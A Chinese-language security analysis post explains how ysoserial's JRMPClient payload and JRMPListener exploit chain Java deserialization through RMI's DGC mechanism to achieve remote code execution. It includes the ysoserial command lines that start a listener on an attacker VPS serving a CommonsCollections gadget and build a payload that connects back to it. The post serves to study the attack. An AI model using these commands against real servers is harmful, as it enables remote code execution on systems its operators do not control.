简介

payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的,payloads/JRMPClient 的利用,离不开 exploit/JRMPListener ,反之 exploit/JRMPListener 的利用,在上篇文章中,它是可以独立使用的
这篇文章是记录 payloads/JRMPClient 的分析流程,还会结合 exploit/JRMPListener 一起分析

利用流程

网上见到的利用方式:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'

java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer

这个payloads/JRMPClient 是结合 exploit/JRMPListener 使用的(还没看exploit/JRMPClient)

攻击流程:

  1. vps 跑起 exploit/JRMPListener ,并指定生成 payload1
    2.向漏洞服务器发送 payloads/JRMPClient 生成的 payload2
    3.漏洞服务器反序列化 payload2
    4.反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
    5.exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
    6.漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
    7.payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

payload1 中主要利用通用库比如 commons-collections 等
payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget
(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)
(但是和利用漏洞服务器已经开启 RMI server 的 RMI gadget 不同(原理差不多,都是自定义 Proxy 中的 invocationHandler ,然后利用这个类成员反序列化过程),那个是利用的 rebind、bind 或者其他操作函数实现的反序列化,在服务器端反序列化payload时可以直接触发rce,所以可以直接使用 rmi client 的身份发送payload。而这里的 gadget,首先需要连接到vps上自定义的 JRMP 通信服务上,然后根据其指定的操作流程,进一步触发第二次反序列化才能造成 rce。其实从后面的结果来看,触发第二次反序列化和基于报错的 rmi 反序列化利用流程中依靠报错进行命令执行结果回显的思路是差不多的。rmi 反序列化利用的过程中是 rmi client 控制 rmi server的操作流程。 JRMP 反序列化利用的过程中是 JRMPListener(server端)控制 JRMPClient 的操作流程)

payloads/JRMPClient

先来看看 payloads/JRMPClient 的调用流程:

处理流程

环境是 jdk1.8_66

因为是 payloads 模块下的,所以先看看这个类的 getObject 函数(流程是在构造payload)

竖线部分,都是和需要反向连接的 host 和 port 还有 objID 等必要因素(似乎整个流程利用的也是 jre 中已经实现的 rmi 相关的功能)

然后将他们都带入了 LiveRef 中,接着又封装进了 UnicastRef 里,再继续封装进 RemoteObjectInvocationHandler 中,最后用 Proxy.newProxyInstance 生成了一个 proxy ,这个就比较熟悉了,和 rmi 反序列化利用的一样,先生成一个 proxy,利用点就在 invocationHandler 这个成员变量,如上图,也是将 RemoteObjectInvocationHandler 作为了 proxy 的 invocationHandler 成员变量值

然后这个 JRMPClient 依靠的就是 RemoteObjectInvocationHandler 反序列化时,会自动调用其父类 RemoteObject 的 readObject 函数

跟进去,在 RemoteObject 中

这里肯定进入的是 else,因为我们反序列化创建的是指定了 UnicastRef 这个类的,不会没有名字
继续看 else

这里最后调用了 UnicastRef 的 readExternal 函数(这个是序列化的另一种方式,实现Externalizable 接口)

再调用了 read,跟进
这后续的好几个部分的内容,都可以根据作者给出的调用流程跟进了,不会分析的太详细

步步跟进后,跟到了这里:

dgc 似乎是 rmi 里的某些东西,具体是啥我们可以不用管

继续跟进,在调用流程里提示的是,这里调用的是 DGCImpl_Stub 里的 dirty

看见这几个框,就感觉很熟悉很熟悉,仔细想想其实就是 rmi 反序列化利用过程中 RMI client 中 RegistryImpl_Stub 的实际操作,如下图:

实际这里就可以感觉得出来,rmi 反序列化利用流程中,依靠的是 Registry 功能,而这里的 JRMPClient 利用的就是 DGC 功能

这里可以反思一下,RMI Client 是通过 RegistryImpl_Stub 去控制 RMI Server 的操作流程,但是实际上,此时 RMI Client 和 RMI Server 都是互相沟通的,只是对于攻击者来说,可以完全控制的是 RMI Client ,而 RMI Server 仅仅是做默认操作。那么对于 JRMPClient 和 JRMPListener 来说,完全就是相反的,JRMPListener 和 JRMPClient 相互通信的过程中,我们完全可控的是 JRMPListener,而 JRMPClient 仅仅是做默认操作。在基于反序列化的通信协议中,Client 和 Server 可以灵活使用,因为双方都涉及到了序列化和反序列化,具体是选择 Client 还是 Server 作为攻击端,要视情况而定

最后:
UnicastRef 的 newCall 完全是 JRMPClient 给 JRMPListener 发送通信信息的,而后的 invoke 就是处理了一下来自 JRMPListener 的具体反馈,还记得在 RMI 反序列化中的 invoke 里就是处理来自漏洞服务器执行命令后的报错(基于报错的 RMI 反序列化利用 payload 中可以查看到相关代码),这里反过来利用的,既然他可以处理来自 server 端的报错情况,那么我们就可以将任意代码执行的 payload 放进 JRMPListener 的报错反馈中,然后让 JRMPClient 进行反序列化来自 JRMPListner 的报错反馈(因为这整个过程都是通过序列化/反序列化实现的,对于数据的传输,都建立在这个基础上),那么 JRMPClient 那一端,就可以执行任意代码了

JRMPListener

这里的 JRMPListener 是 exploit/JRMPListener ,另一个路径下的 JRMPListener 是 payloads/JRMPListener ,主要功能是开启目标主机的 JRMP 监听服务。

我们现在分析的是 exploit/JRMPListener ,他的主要功能是,自己实现了 JRMP 的对任意 JRMP client 的应答请求处理

处理流程

看看它的入口函数:

第一个红框就是代替了用户自定义输入,我们直接手动生成 payloadObject,随即就被作为参数带入了 JRMPListener 的构造函数里,最后调用了 run 函数

先看看 构造函数

payloadObject 赋值给了 当前类的 pyaloadObject 成员,随即就开启的 socket 服务端,准备好来自 JRMPClient 的连接

跟进 run 函数发现,一来就开始 accept 来自任意 client 的tcp 连接,但是收到连接后,会根据条件进行限制,必须是经过 JRMP 协议的连接才行,这其中有一些协议解析的控制流程,就不细看了,我们直接看如果是正常 JRMP 协议的 tcp 连接,那么会进入到如下图:

满足第一个 case 也可以进入第二个 case 的,其实这两个 case 的判断条件就是一个数字而已,75和76,感觉很熟悉,和 Registry 里的 rmi server 端类似

可以看见,将重要的东西都带入了 doMessage 函数里,其中还有 payloadObject ,也就是我们自定义生成的 payload

跟进 doMessage 函数

读取一个 int ,然后根据其值做不同的操作,这个 TransportConstants.Call 其实就是 80
哈,很熟悉吧,Registry 里也是 80,可以在 StreamRemoteCall 的构造函数里看见,它向 server 端发送了一个 80

回到 doMessage 函数中,我们继续跟踪 doCall 函数
(里面其实最重要的部分在于向 client 端发送 payload ,其他部分都仅仅是优化了用户体验-输出显示进度....)

就看关键部分

先返回了一个 TransportConstants.ExceptionalReturn ,其值为 2

这里生成了一个 BadAttributeValueExpException 的对象,然后将其 val 成员变量设置为 payload 了,这里的payload是我们选取的 CommonsCelloections5 模块生成的,只要有反序列化,那么就会触发代码执行。最后将其发送给了 JRMPClient

到这里 JRMPListener 已经分析完了

后续

我们可以跟到 JRMPClient 的后续过程中,看看啥情况

从 JRMPListener 生成的这个 ex 对象来看,应该还是个异常相关的
还记得 Registry 利用的过程中,就是利用了 server 执行的代码后,直接 throw 出异常,然后返回给 client 端,造成了命令执行的回显

那么这里理应也该如此,只是利用方式反过来了,在 JRMPClient 接收到 JRMPListener 的反馈的异常后,就会将异常反序列化,并且打印出来,那么反序列化过程中,又肯定会去反序列化 BadAttributeValueExpException 对象中的 val 成员变量,那么这个时候就触发了我们构造好的 payload

具体是在 DGCImpl_Stub 的 dirty 里

发送了一个 newCall 给 JRMPListener 后,继续获取 JRMPListener 的反馈

跟进 UnicastRef.invoke 函数

老路子,跟进 StreamRemoteCall.executeCall 函数

我们从上文中知道了,这里肯定是进入 case2 的,接着反序列化来自 JRMPListener 的异常.... 触发任意代码执行

总结

说是 JRMP 协议的利用,实际上还是利用的现有的 rmi 实现的 DGC 功能来达到目的
从 rmi 的利用来看,目前是两个,一个 DGC ,一个 Registery,都是用到了 ***Impl_Stub 这个东西,那么照着关键字搜索一下,就可以发现还有一些其他的:

协议相关(题外话)

JRMP-rmi 的通信约定如下图:

现在我们遇见过的有 75、76、80、81、2
分别表示:

75、76 代表 client 向 server 发出的一个请求信号,指示下一步
80 是 client 向 server 发出的 call 请求,一般用作 client 本地向 server 索要某种服务
81 就是 server 要向 client 发出反馈的一个标志,让 client 尽快处理 server 的反馈
2 是 server 向 client 反馈的异常,让 client 好分辨出到底 server 发的是啥信息,正常返回还是异常报错

源链接

Hacking more

...